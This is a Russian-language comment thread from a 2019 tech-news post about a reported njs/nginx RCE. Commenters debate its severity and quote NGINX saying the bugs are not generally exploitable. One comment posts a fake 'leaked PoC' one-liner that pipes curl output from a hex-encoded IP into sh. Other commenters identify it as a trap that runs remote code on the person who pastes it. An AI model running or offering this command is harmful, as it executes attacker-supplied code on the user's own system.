LukaSafonov May 31 2019 at 19:18

updated: Zero-Click Server-Side RCE в njs

1 min

12K

Information Security*

+29

Comments 24

easty May 31 2019 at 20:17

Вот сейчас страшно. Рце в нжингсе и если пок реален и прост, будет весело.

SadLion May 31 2019 at 21:32

Если опубликуют подробности будет в любом случае весело, ведь сколько не обновлённых инстансов останется.

karavan_750 May 31 2019 at 22:29

Если в статье речь исключительно о 1.16-1.17, то риску подвержены только недавние инсталляции.

rogoz May 31 2019 at 22:39

Он же open source, в каком-нибудь коммите засветится.

q2digger Jun 1 2019 at 10:33

не обновленных инстансов, докер-контейнеров, которые даже обновлять-то никто не подумает. волосы реально шевелятся. нас ждут увлекательные истории после публикации деталей

crea7or May 31 2019 at 23:04

NGINX
Replying to alisaesage
Thank you Alisa and ZDI for the report.

ZDI-CAN-8296 & ZDI-CAN-8495 are tracked as t.co/NhLhrM26cJ and t.co/2wVIv6rN0N ZDI-CAN-8296 was fixed in the nJS 0.3.2 release, and ZDI-CAN-8495 will be fixed in 0.3.3. Neither bug appears to be generally exploitable.

jo1n May 31 2019 at 23:12

CVSS Base Score понизили с 8.1 до 7.4 и Attack Vector сменили на Local.

helgihabr May 31 2019 at 23:20

Это касается модуля njs. Так что, не очень-то и страшно.
Интересно, насолько этот модуль популярен.

+12

Zolg May 31 2019 at 23:42

"искусство писать заголовки"

ky0 May 31 2019 at 23:41

она давно зарекомендовала себя как отличный специалист (и даже находится в санкционном списке)

Поясните, плз, как между собой коррелируют эти два факта и о каком списке идёт речь?

+12

Alesh May 31 2019 at 23:52

Всем боятся 3 недели) "Алисе" респект.

-4

lega Jun 1 2019 at 00:05

Не nginx, а njs, не уязвимость, а просто баг (уже пофикшен в последней версии) — компания Nginx отписалась, что этот баг не может быть использован как уязвимость.
Вообщем шум не очем.

+10

Scratch Jun 1 2019 at 00:24

Утекло. Не проверял

LEAKED: nginx 1.x PoC on-liner. Null-byte RCE overflow in nginx BLT/Stream

curl -gsS victim.server.here/../../../%00/n…\<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

symbix Jun 1 2019 at 02:56

На первый взгляд похоже на f6234460852a в njs.

symbix Jun 1 2019 at 10:40

А, дошло :-))

w0den Jun 1 2019 at 06:50

Я бы убрал |sh; nc /dev/tcp/localhost, иначе «PoC» может сработать даже если на сервере жертвы не установлен nginx (причём сервер жертвы, явно не удалённая машина).

Scf Jun 1 2019 at 08:15

curl 0x0238f06a

Забавно, чего только в линукс не вкручивают.

-3

w0den Jun 1 2019 at 08:28

В Windows тоже работает:

C:\Windows\System32>ping 0x0238f06a



Pinging 2.56.240.106 with 32 bytes of data:

Reply from 2.56.240.106: bytes=32 time=97ms TTL=56

Reply from 2.56.240.106: bytes=32 time=97ms TTL=56

Reply from 2.56.240.106: bytes=32 time=97ms TTL=56

Reply from 2.56.240.106: bytes=32 time=97ms TTL=56

Да и в браузере тоже: http://0x0238f06a/